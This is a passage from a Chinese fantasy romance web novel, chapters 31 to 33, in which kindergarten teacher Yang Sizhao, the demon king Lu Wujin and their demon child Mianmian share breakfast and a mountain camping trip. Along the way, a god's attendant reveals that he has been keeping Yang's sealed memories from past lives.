眠眠摇头,说:“没有。” 他表现得很坚强,很不在意,可是看着杨思昭的脸,还是没有忍住,眼圈开始泛红,嘴唇也变成了波浪形,很快眼泪就夺眶而出,他呜咽着说:“我以为妈妈不要我了……” 杨思昭立即把他抱进怀里,抱得很紧很紧,恨不得把他揉进自己的身体里。 “不是的,不是的。” “妈妈说要带眠眠去山上玩的。” “我们明天就去。” 杨思昭抱着眠眠絮絮说了许多,要一起爬山、一起看灯会、一起逛街吃美食、一起去公园玩、一起去海边……永远都不分开了。 眠眠把脸贴在杨思昭的胸口,半晌才止住眼泪,安静地趴了好一会儿。 “妈妈是不是不喜欢爸爸了?”他忽然问。 杨思昭怔住,“怎、怎么了?” “以前妈妈很喜欢爸爸,每天都会抱着眠眠,一起躺在爸爸身上。” 杨思昭不知道该回答什么,有一搭没一搭地拍着眠眠的屁股:“你那个时候还是一个小婴儿呢,就记得那么多?” 眠眠说:“是爸爸记得,爸爸每天都会拿出来看,我偷偷看到的。” 杨思昭默然。 眠眠凑到他耳边,小声说:“妈妈,如果你不喜欢爸爸了,可以不要告诉爸爸吗?” “爸爸可以再等一百年,但如果听到妈妈说不喜欢,应该还是会难过的。” 杨思昭愣了许久,才想起来,陆无烬昨晚就睡在他身边。 回头望,床畔连个人影都没有。 一阵粥香又飘了进来。 他披上外套,悄声走到厨房。 他已经做好了看到陈助理带着一个陌生厨师出现在他家燃气灶旁边的准备,但他完全没想到的是,眼前这个正在把淀粉水倒进煎包锅里的男人是陆无烬。 陆无烬看了他一眼,没什么反应,只说:“醒了?” 然后就盖上了锅盖。 “你会做饭?”杨思昭惊诧不已。 “不会,陈此安教的。” 陆无烬掀开砂锅盖,“南瓜粥。” “那个,”杨思昭看着已经坨成一团的粥,指了下燃气灶:“火可以开小点。” 陆无烬竟然没驳他,很顺从地调成了小火。 “你……你干嘛亲自做早饭?” “醒得早,没事做,”陆无烬抽了张纸巾,擦了擦手,“去洗漱吧,待会就能吃了。” 杨思昭觉得陆无烬表现得很奇怪,又不知道该说些什么,于是回了卧室,打开窗帘。 眠眠正准备滑下床,看到杨思昭回来,立即翻了个身,爬到床角迎接他。 杨思昭从衣柜里翻出一套鹅黄色的家居服,拍了拍手,眠眠就骨碌一下坐起来。 “今天是——小鸭子眠眠!” 杨思昭朝他笑,眠眠也跟着笑,他乖乖脱了自己的睡衣,露出软绵绵的小肚子,不出意外,被杨思昭捏了又捏。如果换做陆无烬,他肯定已经皱起眉头钻进被子了,但面对杨思昭,他永远没有脾气,只会找机会抱住杨思昭的胳膊,仰着头说:“痒痒,妈妈。” 杨思昭于是停下。 眠眠想了想,握住他的手,放到自己的脸上,把自己的脸颊放在杨思昭的掌心,热情地说:“妈妈可以挠这里,这里不痒。” 杨思昭忍着笑,低头在他的脸蛋上亲了一大口。 穿上了家居服,杨思昭又带着眠眠去洗漱,刷牙洗脸,眠眠都可以独立完成,只是和杨思昭待久了,两个人免不了腻歪。 杨思昭用手指沾了一点牙膏沫,点在眠眠的鼻尖上。眠眠着急坏了,他还不太会用牙刷,每次都是直愣愣地往舌头上捣,他用求助的目光望向杨思昭,杨思昭对着镜子教他。 “眠眠把牙齿合上。” 杨思昭余光一扫,才发现陆无烬一直抱着胳膊站在卫生间门口,看着他们。 杨思昭下意识低头看了一眼自己穿的是什么,也是家居服,是之前和眠眠一起买的鹅黄色亲子装,后领都带着一个大大的鸭子帽,看起来有点呆。 陆无烬的目光在他的身上逗留片刻,又望向眠眠。 眠眠也发现了爸爸,他立即站直了,握紧了宝宝牙刷,龇起牙齿,学着妈妈的样子上上下下左左右右地刷。虽然到最后也没刷出泡沫,他有些失望,但是妈妈夸他很棒,他立即露出害羞的笑容,回头望向爸爸。 陆无烬朝他挑了下眉。 眠眠的脸瞬间变得红扑扑。 洗完脸,又擦了面霜,杨思昭才把眠眠从小凳子上抱下来,走到餐厅。 陆无烬已经把早餐准备好了。 三碗粥,三只鸡蛋,一盘水煎包,配菜是杨思昭之前做的泡椒藕片。 杨思昭坐下来,先给眠眠剥鸡蛋,还没往桌面上磕,一颗洁白圆润的剥壳鸡蛋就出现在他眼前,是陆无烬递过来的。 杨思昭愣住。 “你自己吃,不用一直照顾他,” 陆无烬又剥了一颗,放在眠眠的碗里,还不忘对眠眠说:“以后自己剥。” 眠眠不明所以,但还是乖乖点头。 南瓜粥被陆无烬煮得太稠了,眠眠差点抬不起勺子,再加上刚从砂锅里盛出来,又是滚烫的。杨思昭想了想,起身拿了瓶牛奶倒在里面,搅拌搅拌就成了三碗牛奶南瓜粥。 眠眠咧开嘴笑,“好吃。” 杨思昭和他一起笑,然后才想起来望向陆无烬,有些心虚:“其实你这个粥煮得挺好的,就是火大了点,水煮干了。” 陆无烬面色没变,“我下次注意。” “哦,”杨思昭点头,又骤然变了音调,“什么下次?” “你上班时间早,以后我起早准备早饭,这样你就可以多睡二十分钟。” “什么意思?你要住在这里?” 陆无烬用沉默代替回答。 他表现得极为坦然,衬得杨思昭大惊小怪一样。 杨思昭很想拒绝,又无从开口,握着勺子搅弄了一下南瓜粥,突然问:“陆无烬,这么多年,你就一直是一个人?没想过——” “想过。” 杨思昭的脸色一下子变了,“什么?” 陆无烬抬眸,“如果你坚持觉得你是替身,那我就算是移情别恋了,不是吗?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 30-40 第31章 陆无烬轻飘飘的一句话,变成杨思昭沉甸甸的心事。 驳斥他,显得自己不近人情。不反驳,又像是默许了陆无烬的得寸进尺。 这个老妖怪真是讨人嫌! 他闷闷不乐地喝了口粥,好在这碗粥还是不错的,细密的南瓜酱和香甜的牛奶混合在一起,甜而不腻,顺滑地淌过喉咙,安抚了他的情绪,可是吃着吃着,他又觉得有些不对劲——好像没有那股铁锈味了。 不知道他最近是中了魔怔,还是中了妖气,在家吃什么都有一股怪异的铁锈味。 他怀疑是自己焦虑症发作,再加上精神恍惚,产生的错觉,郁闷了好几天。结果今天他哐哐喝了半碗粥,都没品出一点怪味来。 真是错觉? 他一边咬着水煎包,一边思考。 “妈妈,包包流水了!” 眠眠的惊呼拽回了他的思绪,一低头,就看到水煎包里的热汤汁正沿着他的手,徐徐滑到手腕,有向他袖口进攻的趋势! 还没等他弹跳起来,陆无烬已经捉住了他的手腕,及时地捋上了他的袖口。 陆无烬的手指真是杨思昭见过最称得上骨节分明的手,手指修长,指腹微凉,握在杨思昭的手腕上,像是小蛇缠绕。 杨思昭下意识瑟缩,陆无烬便松开他的手腕,慢条斯理地帮他卷起袖子。 家居服的袖子自带松紧绳,卷起来有些费力,陆无烬的指尖隔着绵软的布料抵在杨思昭的手腕皮肤上,有些痒,还有些不自在。 陆无烬卷得慢条斯理,杨思昭如坐针毡。 “好了,去洗一下。”陆无烬说。 杨思昭如释重负,逃到水池边,把水龙头调到最大,用水声掩饰他的慌乱。 不对劲,陆无烬很不对劲。 他竟然变得……绅士了? 昨晚之前,他还是一个满脑子黄色废料的大流氓,今早一醒来,他就主动做饭、保持距离、知道什么是发乎情止乎礼了? 都快把手腕搓红了,他才回过神,关了水,一边擦手一边走回到桌边坐下。 眠眠的注意力全在他的身上,他不在,眠眠就不肯吃了,放下勺子,眼睛眨也不眨地盯着他,看到他回来,才仰起头露出笑。 “妈妈,烫不烫?眠眠吹吹。” 杨思昭立即摇头,“不烫。” “红红的。”眠眠看到杨思昭发红的手臂,紧张得要命,呜咽道:“妈妈要流血了!” 杨思昭将他抱到腿上,“没有没有,是妈妈自己搓红的,很快就好了,眠眠不怕。” 眠眠满眼心疼地望着杨思昭的胳膊,想了想还是不放心,握起小拳头,记起爸爸之前交代的话,夹紧肩膀,全身用力。很快,有一群蓝色小光点从他的指缝中溢出来,星星般悬在半空,然后齐齐落在杨思昭的手腕上。 杨思昭显然还没习惯这样的画面,抱着眠眠的手臂有些许的僵硬,可是没过多久,他就感觉到手腕上的不适感一扫而空。 他惊讶地望向眠眠,“眠眠好厉害啊。” 他捏了捏眠眠的小手,上下翻转,没看出来和普通孩子的小手有什么区别。 但他的孩子是一只小妖怪。 可爱又懂事的小妖怪。 听到妈妈的夸奖,眠眠立即张开小手,五指开花,任由妈妈摩挲他的手掌心。 杨思昭和他碰了碰额头,轻声说:“谢谢眠眠,妈妈一点都不疼了。” 眠眠还没来得及扑到妈妈怀里,就听到陆无烬说:“行了,粥都凉了。” 爸爸的声音听起来冷冰冰的,眠眠不情不愿地从杨思昭的怀里挪出来,坐回桌边。 但他越想越生气,爸爸故意打断了他和妈妈的抱抱,真讨厌,爸爸总是这样!于是他用勺子把爸爸给他剥的鸡蛋舀起来,伸长了胳膊,越过桌子,送回到爸爸的碗里。 “不要。”他说。 面对陆无烬好整以暇的目光,他先是抖了一下,然后鼓起勇气,发出一声:“哼!” 杨思昭都愣住了。 “陆眠。”陆无烬沉声喊他。 眠眠开始害怕了,嘴巴动了动,反身扑到杨思昭的怀里,向杨思昭求助。 陆无烬说:“你现在很任性。” 还没等他教训完,就被杨思昭打断,“哪里任性了?你在凶什么?没有比眠眠更乖更懂事的宝宝了,我不允许你这样凶他。” 一股脑的输出让陆无烬一时哑然。 眠眠还是第一次有人撑腰,呆呆地抬起头,眼巴巴地充满崇拜地望着妈妈。 杨思昭抱紧眠眠,梗着脖子和陆无烬对呛:“以前我只是老师,只能口头上说几句,现在不一样了,我说不允许就是不允许!” 陆无烬听到这句反而笑了,嘴角微微勾起,抬眸看他:“哪里不一样了?” “我——”杨思昭及时收嘴。 差点又被陆无烬带到坑里了。 陆无烬替他回答:“不一样在于,你之前是陆眠的幼儿园老师,现在是我的妻子?” “才不是!”杨思昭拍案否认。 “既然不是,为什么说不允许就是不允许?难不成……你在恃宠而骄?” 一股火气涌到杨思昭的嗓子眼,他恨自己嘴笨,根本不是陆无烬的对手,他真想一拳揍在陆无烬的嘴巴上,让他从此闭嘴。 陆无烬朝他弯了弯唇角。 一副得逞模样。 “不。”杨思昭两眼一转,忽然笑了。 他朝陆无烬挑了下眉,“是因为……众所周知,只有生孩子的那一方可以保证孩子百分百是他的,所以我才对眠眠有绝对的话语权。” 话音刚落,他就感觉到陆无烬的脸色一下子冷了。 玩笑好像开得有点大。 他低头和眠眠对视了一眼,眠眠听不懂他们在说什么,但他感觉到妈妈的紧张。两个人的嘴角同时往下撇,眼珠滴溜溜地转。 “杨思昭。” 杨思昭默默抱着眠眠转过身。 缩着脖子,垂着脑袋,鸵鸟抵抗。 “三百年前的经过我不能讲给你听,但是三百年前的事,我可以做给你看的。” “……” 陆无烬饶有兴致,“今晚可以试试。” 杨思昭涨红了脸,“不准说了!” 看到杨思昭认输,陆无烬这才拿起筷子,把眠眠那颗咬了小半口的鸡蛋吃掉了。 杨思昭已经没法和陆无烬在同一张桌子上吃饭了,陆无烬也察觉到他的别扭,不再逗他,快速吃完,起身离开了餐桌。 杨思昭这才放下眠眠,和他一起吃。 他还教眠眠剥鸡蛋。 “先敲一敲,有没有看到裂缝?” 眠眠乖乖照做,一看到裂缝就兴奋地朝杨思昭笑。 吃完早饭已经接近十点。 陈此安忽然到访,和杨思昭打了招呼,就和陆无烬一前一后进了客房,里面传来略显严肃的说话声,听不清楚。 应该关乎妖界,不是小事。 杨思昭这点大局观还是有的,在家里打扫了卫生,就准备带着眠眠下楼买菜。 一出门撞上了裴怀谦。 裴怀谦拎着公文包走出来,看到杨思昭时也是一愣,“早上好,杨老师。” “早上好,裴先生去上班吗?” 杨思昭牵着眠眠走出来,三个人一同站在电梯前。 “是啊,”裴怀谦摸了摸眠眠的针织帽,笑道:“杨老师和眠眠真是形影不离,我见杨老师这么多次,印象里好像没有一次,你俩是分开的。” 杨思昭回答:“不知道以后怎么样,所以很珍惜现在相处的每一刻。” 裴怀谦显然听出了画外音,神色微变,转头看向杨思昭的侧脸,试探着问:“陆无烬把一切都告诉你了?” “没有。” “那你怎么知道?” “裴先生,我想,你是带着目的接近我的,你和陆无烬一样,知道几百年前发生的事,但如果你不算告诉我,只透露一言半语让我困惑,又或者说些天机不可泄露的话让我恐慌,那就没有必要了。” “你想知道?” 杨思昭毫不犹豫:“想。” “陆无烬有没有跟你提过,你这一世本应该有很好的命轨,是你前几世修来的福报,也许度过这一世,你就可以化神——” 杨思昭打断他:“我放弃了。” “为什么?” “幸福不是由神仙定义的。”杨思昭低头看了看眠眠,轻声说:“早上醒来,看到眠眠躺在我身边,阳光洒在他的小脸上,我就觉得很幸福。如果为了得到某种命定的幸福,放弃眠眠,让他在冰封之中等我一百年甚至更久,我不要。” “只是为了眠眠?” “裴先生到底想说什么?” “你的记忆在我这里。” 杨思昭瞬间僵住,难以置信地望向裴怀谦。电梯缓缓下行,广告牌的灯像光怪陆离的霓虹,照在裴怀谦的脸上。 裴怀谦自嘲地笑了笑:“替你保管了两百年,终究还是要还给你吗?” “两百年前,你也是这样对我说的,你说你什么都不要,你只要他和孩子。” 两百年前,裴怀谦还是一个刚修炼得道的小神侍,追随着上一任溯光神君,去人间封印历劫之人的记忆。 那时他志得意满,指尖一点,便抽走一段或刻苦铭心或悲惨至极的记忆,再屈指念咒,便是永远的封印。历劫是为了修炼,修炼是为了成神,无论是人是妖,哪怕是已经得道的神,也会心甘情愿奉上自己的记忆,以求积累功德、突破修为。 那些历劫之人,会虔诚地跪在溯光神君脚下,用满是期待的眼神望向他,希求神君将他的记忆抽走、净化,去除杂念。 只有那个叫洵暮的小羊妖。 是唯一的例外。 三百年前,溯光神君已经封印了他的记忆,也不知怎么的,他竟然在转世之时记了起来。神君怕出乱子,便派裴怀谦到人间,再次封印洵暮的记忆。 对旁人来说至高无上的洗礼,在洵暮面前却变成惨无人道的酷刑。 裴怀谦每抽走一段记忆,他就在自己的胸膛划上一刀,用疼痛让自己保持清醒,血染红了衣襟。 他哭着说:“神君还在青竹林等我,我的孩子还那么小,他们在等我回家。” 最后裴怀谦还是停了手。 他看着只剩一口气的洵暮,无奈道:“你身上有净梵神君的化丹,顶替了他的命轨入凡间历劫,你可以代替他成为神君,享受无穷无尽的法力,那是多么令人向往的未来,你何必如此?” 洵暮的身体无法承受伤痛,好在陆无烬的化丹为他延续了生命,让他不至于断了气。他倒在血泊里,缓缓伸出手,碰了碰挂在床边的一大一小两个针脚粗糙的棉布人偶,“我不要长生不老,也不想当神仙,我只想回到神君身边。” “没有比青竹林更好的地方了。” “没有比我们一家三口在一起更好的事情了,求你,不要抢走我的记忆。” 于是,裴怀谦做了他神侍生涯第一次也是唯一一次网开一面的决定。 他为洵暮留了一缕记忆。 这段记忆在洵暮每一世的少年时期开启,就像是暗夜里门前的一盏小灯,照不亮路,却冥冥之中指引着家的方向。 “接下来的两百年,你会过得很苦,你会体会到凡人的所有悲惨与遗憾,伤痛与别离,你确定你要保留这缕记忆?” 洵暮毫不犹豫地点头。 裴怀谦是不能理解的,他不理解怎么会有一段感情的分量胜过成仙? 他始终不能理解,直到他发现时光一晃而逝,两百年后,当他接任了溯光神君之位,洵暮那张脸还时常在他眼前出现。 他突然顿悟了,感情的分量。 因此,他向仙师求情,用自己的百年修为替洵暮争取来一世的美满。 谁想,陆无烬带着孩子一出现,一切就打回了原形。 电梯门打开,光亮照进来。 风吹树叶的簌簌声、一楼住户拍被子的声响、远处街道上的鸣笛声……一股脑地涌进来,今天是人间很平常的一天。 “你想取回记忆?”裴怀谦问。 杨思昭点头,他走出电梯,把眠眠放在一边,转身走到裴怀谦面前,眼神坚定地问他:“我需要付出什么样的代价?” “剖心摧肝的痛苦,你能否忍受?” 杨思昭退怯了,良久才追问:“我……我会死吗?” “不会。” 杨思昭想了很久,又回头看了看眠眠,脑海里浮现陆无烬那张脸,许久才开口:“我能忍受,只要你把记忆还给我。” 裴怀谦的目光骤然变得灰暗。 他低低笑了一声,没说什么,略过杨思昭的身侧,留了一句:“我知道了。” 他离开之后,杨思昭还没缓过神来。 脑子里乱糟糟的,好像一团理不清的毛线。 裴怀谦的话,让他产生了一点希望,又带来许多恐惧。 他在原地深深吸了一口气。 一抬眼看到眠眠,正歪着脑袋,好奇又担心地望着他。 他招招手,眠眠就朝他跑来。 “妈妈!” 眠眠每一次喊妈妈都很开心,眉眼弯弯,脸颊露出两个小酒窝,满心依赖地扑进杨思昭的怀里,“妈妈,眠眠抱。” 他察觉到杨思昭的情绪低落,于是伸出小手,捧住杨思昭的脸,一字一顿地说:“妈妈,眠眠会一直保护你的。” 杨思昭被他逗笑了,在他的小脸蛋上亲了一口,说:“谢谢眠眠的保护,妈妈一点都不怕了。” 他起身,牵住眠眠的手去菜场。 眠眠一边走,一边回过头,望向裴怀谦离开的方向。 快走出小区了,他又抬起头,对杨思昭认真地说:“妈妈,眠眠会保护你的。” 杨思昭心头一暖,眼泪差点就要滚出来,但在孩子面前表现得坚强,还是朝他笑。 买了新鲜的菜,又买了点牛肉,回到家时,陈此安已经不在了,陆无烬一个人坐在客厅里,照例拉上了所有窗帘。 屋子里黑漆漆的,只有陆无烬掌心一点蓝色幽光亮着,以提示他的存在。 有时候杨思昭真心觉得陆无烬不是妖,更像是鬼,阴森森怪吓人的。 他拉开客厅的窗帘,让正午的暖阳照进来,然后转身问陆无烬:“那个……我打算带眠眠去爬山,你要不要去?” 陆无烬看起来有些倦,没有立即回答,只眸色定定地看着他。 杨思昭最讨厌这种感觉了,他拼命退的时候,陆无烬死皮赖脸地逼近,等他心平气和,准备和陆无烬友好相处的时候,陆无烬又摆出这副居高临下的姿态。 真是讨厌。 怪不得几百年了,都是一个孤零零的老鳏夫,没人喜欢你。 我也不喜欢你,只不过看在你是眠眠的亲生父亲的份上,才对你有好脸色的。 想要找回记忆也不是为了你,是为了眠眠,完全是为了眠眠,和你没关系。 “我想去。”陆无烬说。 杨思昭立即挺直了腰背,抿了抿唇,眼神瞟向另一边,别别扭扭地说:“哦,那我去做点便当,带到山上吃。” 他走进厨房,刚要拿起围裙,一只手就从他身后伸出来,抽走了围裙。 “哎?” 他回过头,看到正在系围裙的陆无烬,满头雾水:“你干嘛?” “做饭。” 杨思昭闷声说:“还是我来吧。” 陆无烬慢条斯理地卷起黑衬衣的袖子,挑眉道:“我只是在沙发上发了几秒钟的呆,就已经在小羊老师的腹诽里身败名裂了。如果还敢坐着等开饭,今晚是不是连上床的资格都没有了?” “谁腹诽你了——”杨思昭否认,半晌才反应过来更需要否认的: “不是,谁允许你上床了??” 陆无烬一脸理所当然,微微倾身,将杨思昭困在岛台边,视线从杨思昭的毛衣领口往上移:“你不是说今晚想试一试,陆眠有百分之多少的可能是我的孩子吗?” 第32章 陆无烬说要做饭,但没过多久,还是被杨思昭推出了厨房。 因为杨思昭实在心疼自家的锅碗瓢盆和油盐酱醋,他完全忍受不了陆无烬在做饭这件事上的无知与自信。他叉腰堵在门口,厉色命令:“你,永久远离我的锅!以后我厨房里的所有工具,你的使用范围仅限于烧水壶!” 陆无烬毫无歉意,还颇为不满,“我认为我已经掌握了原理。” “掌握个鬼!”杨思昭皱眉瞪他,“你已经浪费了一锅五花肉,是我今天精心挑选的精品五花肉,花了我三十五呢!” “三十五很贵吗?”陆无烬不以为意。 杨思昭更生气了。 他召唤眠眠,眠眠立即扔了画笔,小火箭一样冲过来,学着妈妈的动作挡在门口。 “拦着你爸爸,不准他进厨房。”杨思昭说。 “好!” 眠眠立即跨开两条小短腿,又把手举过头顶,再交叉,然后仰起头,一脸认真地盯着陆无烬,嘴巴因为使劲,撅得高高的。 陆无烬轻笑了一声,故意往前走,刚刚还一脸凶巴巴的眠眠立即吓成了小羊羔,一哆嗦,头顶的卷发跟着抖了抖,鼻尖和眼角都红红的。 但他没有退缩,依旧挡在妈妈面前。 “不准欺负妈妈!” 陆无烬成了这个家里的大反派,他百无聊赖地回到客厅,继续凝神休养。 眠眠一直举到胳膊都酸了,也不见爸爸进攻,只能可怜巴巴地求助杨思昭,“妈妈,我拦不动了,我的胳膊正在漏电!” 杨思昭这才想起他,连忙走过来,握住他两条正在发麻的小胳膊,轻轻揉了揉。 “有没有好一点?” 眠眠点头。 “这个是发麻了,不是漏电。”杨思昭哭笑不得,“眠眠过来尝一尝芝士饭团。” 眠眠立即忘了委屈,开心地追过去,踮起脚,扒在岛台边,张大嘴巴等投喂。 “是眠眠喜欢的会拉丝的芝士哦。” “哇哇!”眠眠两眼一亮。 杨思昭把饭团递到他嘴边,“先吃一个,剩下的我们带到山上吃,好不好?” 眠眠吃饭团开心,听到去山上就更开心了。他缠在杨思昭腿边,变成小话痨问东问西,杨思昭也不嫌他烦,很耐心地回答每一个问题。 “去月明山,开车只要一个小时。” “月明山上有一个洞穴,很好玩的。” “山上还有小猴子。” “我们可以一直待到晚上。” 眠眠听了之后,开心得摇头晃脑,简直不知道该怎么表达才好。 杨思昭把饭团装进盒子里,然后把眠眠抱到岛台上,和他一起盖上便当盖。 “当当当,这是眠眠的便当!”杨思昭笑着说:“盒子上面有一只小羊,眠眠喜不喜欢?” 眠眠呆呆地盯着他看了好一会儿,忽然说:“妈妈,我好喜欢你。” 杨思昭愣住,他在眠眠那一双清澈无暇的眼瞳里看到了自己的倒影。 良久,他俯下身紧紧抱住眠眠,. 下午,陈此安派司机开车送他们去月明山。眠眠还没完全从午睡中醒过来,一上车就窝在杨思昭的怀里打盹。 杨思昭用绒毯裹住他。 陆无烬坐在后排的另一侧,车子开到半路,他转头问杨思昭:“累不累?” “啊?”杨思昭一时没反应过来。 陆无烬朝眠眠抬了抬下巴,“不用一直抱着他。” “那你来抱?” 陆无烬收回目光,显然并不乐意。 “为什么?你能为了保护他,消耗自己上千年的功力,却不能抱他哄他?” 陆无烬望向车窗外,沉默不语。 “又不说话了,就知道摆架子,”杨思昭也望向另一边,小声抱怨:“连亲子关系都处理不好,还好意思当妖王呢。” 车里安静到落针可闻。 直到眠眠醒过来,睡眼惺忪地伏在杨思昭胸口,问:“妈妈,我们到了吗?” “快到了,眠眠把外套穿上。” 眠眠立即坐起来,乖乖穿上羽绒服,把拉链一下子拉到领口。他盯着杨思昭的外套盯了一会儿,忽然伸出小手,捏住了杨思昭最上面一颗纽扣,努力扣上,小大人一样叮嘱:“妈妈也要把衣服穿好,不要着凉。” 杨思昭握住他的小手,和他抵着额头,“谢谢眠眠。” 两个人又腻歪起来。 “下车了。”一道冷冰冰的声音响起,打破了父子俩的亲昵。 杨思昭茫然望向身侧,陆无烬已经推开车门,独自下了车,只留给他们一个背影。 “讨厌。”他小声说。 下车之后,司机把他们的东西都搬了下来,告诉他们:“陈助理已经派人在山上搭好了帐篷,露营的装备一应俱全。” 杨思昭向他道谢。 三个人一起往山上走。 今天天气极好,月岭虽归属南方,但比起更温暖的沿海城市还是冷得许多,尤其是一月初,寒潮来袭,平日里就算是阳光明媚,体感还是凉飕飕的。结果杨思昭今天心血来潮去爬山,就赶上了一个煦日和风的好天气。 爬了几十级台阶,杨思昭已经热得用手扇风了,低头一看,眠眠的小脸也是红扑扑的。 “眠眠,喝点水。” 眠眠斜挎了一只蓝色圆水杯,听到杨思昭的话,立即抱起来喝了一大口。 喝完了,又忙不迭牵住杨思昭的手。 陆无烬跟在他们后面。 “奇怪,山上怎么没有人啊?” 杨思昭看了看四周,心生困惑。月明山虽然不是什么知名景点,但这几年开发得不错,是很多人的周末选择,也不知怎么的,今天前后都看不到一个人影。 奇怪归奇怪,但不能影响他和眠眠的游玩,他带着眠眠去了洞穴、看到了林间的猴子,眠眠还给猴子喂了香蕉。 小家伙长这么大还没正儿八经地游玩过,一双圆眼睛全程都是亮晶晶的,看什么都新奇,还不停地问:“妈妈,小猴子会自己剥香蕉吗?” “会呀,猴子很聪明的。” “妈妈,这个世界上最高最高的树可以摸到云朵吗?” “不可以哦,云朵比树高多啦。” “妈妈,树叶为什么会掉下来,他们是不是累了,要躺下来休息?” “因为树叶老了,他抓不住树枝啦。” 眠眠认真地点了点头,握着杨思昭的手,又走上一层台阶,没走几步又问:“妈妈,我可以像小鸟一样飞来飞去吗?” “当然不——”杨思昭说到一半突然停住,他差点忘了眠眠是只小妖怪,这个可不属于科学的范畴,只有妖怪能解答。 他回过头望向陆无烬。 陆无烬两手插在黑色大衣的口袋里,看起来对他们的无聊对话毫无兴趣。杨思昭刚要转述,就听见陆无烬说:“不能。” “欸?” “飞行术需要天赋,如果儿子完全遗传母亲的智商,那大概率是不行的。” “陆无烬!”杨思昭气得牙痒痒。 陆无烬长腿一迈,连跨两层台阶,走到前面去了,杨思昭立即追了过去。 眠眠呆了两秒,连声喊着“妈妈”,也跑了过去。 露营的地点在半山腰,他们抵达的时候,已经有人替他们准备好烧烤架了。 还有帐篷、露营灯、野餐垫和防潮垫,一应俱全。 那人向陆无烬交代烧烤架的使用方法,杨思昭则是抱着眠眠躺在野餐垫上,看着明净如洗的天空,说着悄悄话。良久,有一股孜然香飘了过来,两个人同时嗅了嗅鼻子。 “肉肉!”眠眠腾地坐起来。 陆无烬把烤好的牛肉串放在盘子里端过来,杨思昭和眠眠一人拿了一串,赏着山景,吹着和风,吃得十分餍足。 陆无烬坐在一旁的椅子里,静静地看着他们。 那束目光是杨思昭不能承受之重,他只能低头玩手机,以转移注意力。 点开同城,却发现首页的帖子明晃晃写着——【好倒霉,月明山景区大雨封山了,都开到半路了又折返回家,雨好大啊!】 杨思昭看了眼湛蓝天空,又点开帖子看了眼时间,是二十分钟前的帖子。 还配了张大雨滂沱的图。 “怎么回事?” 他把手机举到陆无烬面前。 陆无烬神色不惊,杨思昭更加诧然,“不会吧,你还有控制天气的能力?!” 陆无烬似乎懒得回答。 杨思昭忽然联想起很久之前的一件事,他的某次诡异相亲经历,阴晴不定的天气…… 两者应该没干系……吧? 显然是大大的干系!但是始作俑者看起来十分淡定,倒让杨思昭没了质问的兴趣。而且如果不是陆无烬的法术,他今天的爬山之行就要泡汤了,因此他只能狠狠吃串,一次吃三串,来发泄不满。 “陆无烬,”杨思昭吃完了,放下签子,忽然抬头问,“你是不是有心事?” “怎么了?” 杨思昭问:“我什么都想不起来,你心里是不是很着急?” 陆无烬看着他,说:“没有。” 杨思昭低下头,手指在野餐垫上画圈,闷声说:“就算我想起来了,又能怎么样呢?我现在是一个人类,我只有几十年的寿命,你可以活上千年,再过几十年,你又能遇见……遇见下一个我了。” 他这两天一直在思考这个问题:算命老人、陆无烬和裴怀谦都对他说过,这是他正在经历的一世。也就是说,还会有下一世,下一世他又是什么身份,出生在世界的哪个角落?一切不得而知。 陆无烬又要四处找他了,然后对着下一世的他,说那些酸掉牙的情话。 “不是三百年,是三百一十二年零七十三天。” 杨思昭猛然抬头。 “让你记起来,不是因为我爱你,是我需要你爱我,否则我拿什么坚持?” 陆无烬说这话的时候,看起来有些脆弱,不似平日里的强势与居高临下。 杨思昭的心也跟着发疼。 一种很难受的感觉,眼眶酸胀发热。 “我会想起来的。”他说。 陆无烬眸色定定地望着他,眼里的爱意多到快要溢出来,仍克制着,只说: “那再好不过。” 杨思昭又说了一遍:“我会想起来的。” 他还不知道裴怀谦要给他怎样的考验,说是摧肝剖心的疼,真的这般可怕吗?但裴怀谦说了,只是考验,不会要他的命。 疼就疼吧,只要不死就行。 他认了。 他做出这个决定的时候,甚至没有意识到:在这个时间点,他对陆无烬的感情还是一团朦朦胧胧的雾。然而,他心里已经在想:如果有一个法子,能让陆无烬不再难过,他愿意去试一试,也不枉陆无烬三百年的辛苦了。 肚子吃饱了,就开始犯困。 杨思昭本想在帐篷里打个盹,结果抱着软乎乎的眠眠,一会儿就睁不开眼了。 陆无烬始终待在帐篷外,和陈此安打电话说些什么,听起来不太乐观。 杨思昭本来还想听一听,但困意强势袭来,瞬间将他打败。等陆无烬探身进来的时候,他已经和眠眠窝在一起,睡得四仰八叉了。 一大一小,睡姿也差不多。 侧着身,像是小羊羔。 陆无烬在一旁看了几分钟,而后脱了大衣盖在眠眠身上,躺到杨思昭身边。 陈此安反复提醒他,他需要回妖界休养了,长时间停留人间,还要分神处理妖界事务,已经消耗了他大量的灵气,对他的身体造成了极大的伤害。更不用说,对抗无情咒、往杨思昭的汤里滴心头血、动用灵力控制风雨,都是难以挽回的耗损。妖界有至宝灵物,可为他休养,不出一月,就能恢复。 “还有殷先生,他最近的小动作越来越多了,篡位之心已是昭然若揭。” “先生,你该回去一趟了。” 可是陆无烬不想离开。 一刻也不想离开。 他把杨思昭轻轻地搂进怀里。 杨思昭是在一阵剧烈的心跳声中醒来的,睁开眼,先看到一道锋利的下颌线。 “……陆无烬,我快要喘不过气了。” 他双手双腿挣扎,陆无烬才放开他,又变回了之前好整以暇的模样,眼里含着笑,幽幽地看着杨思昭,像是勾引。 “你、你不准这样看着我!” 杨思昭一边嘟囔,一边飞快地爬到眠眠的另一边,用眠眠的小身体阻挡陆无烬。 眠眠睡得迷迷糊糊,听到动静就睁开了眼。 左边是妈妈,右边是爸爸,他们都微微抬起身子,望向对方,眼神就快要缠在一起了。就像很久很久之前那样,眠眠还记得,很快他们就会抱在一起,忘了他的存在。 虽然很不愿意,他还是伸出手,捂住了眼睛,瓮声说:“你们亲亲吧,眠眠不看。” 第33章 小家伙的一句话像平地惊雷,让杨思昭愣在当场,整个人一点一点僵住。陆无烬倒是不惊讶,还故意朝他扬了下眉梢。 “孩子的心愿,不能让他失望。”陆无烬装出一副慈父的模样。 杨思昭震惊:“你——” 陆无烬毫无惭意,还要往他脸前靠近。 杨思昭气到语塞,只能背过身去。 眠眠没等到爸爸亲妈妈,这让他很开心,放下手,看到妈妈背过身了,他也翻了个身,伏在杨思昭的背后,埋着脸,当小龟壳。 杨思昭闭目消气,一直没有听见陆无烬的声音。过了很久,忽然听到一阵簌簌声,是陆无烬靠了过来,一只手横在他的腰侧。 他在杨思昭的肩头落了一个吻。 眠眠又要被压扁了,可是仰起头,对上爸爸的目光,爸爸也在看他。 他眨眨眼,爸爸还在看他。 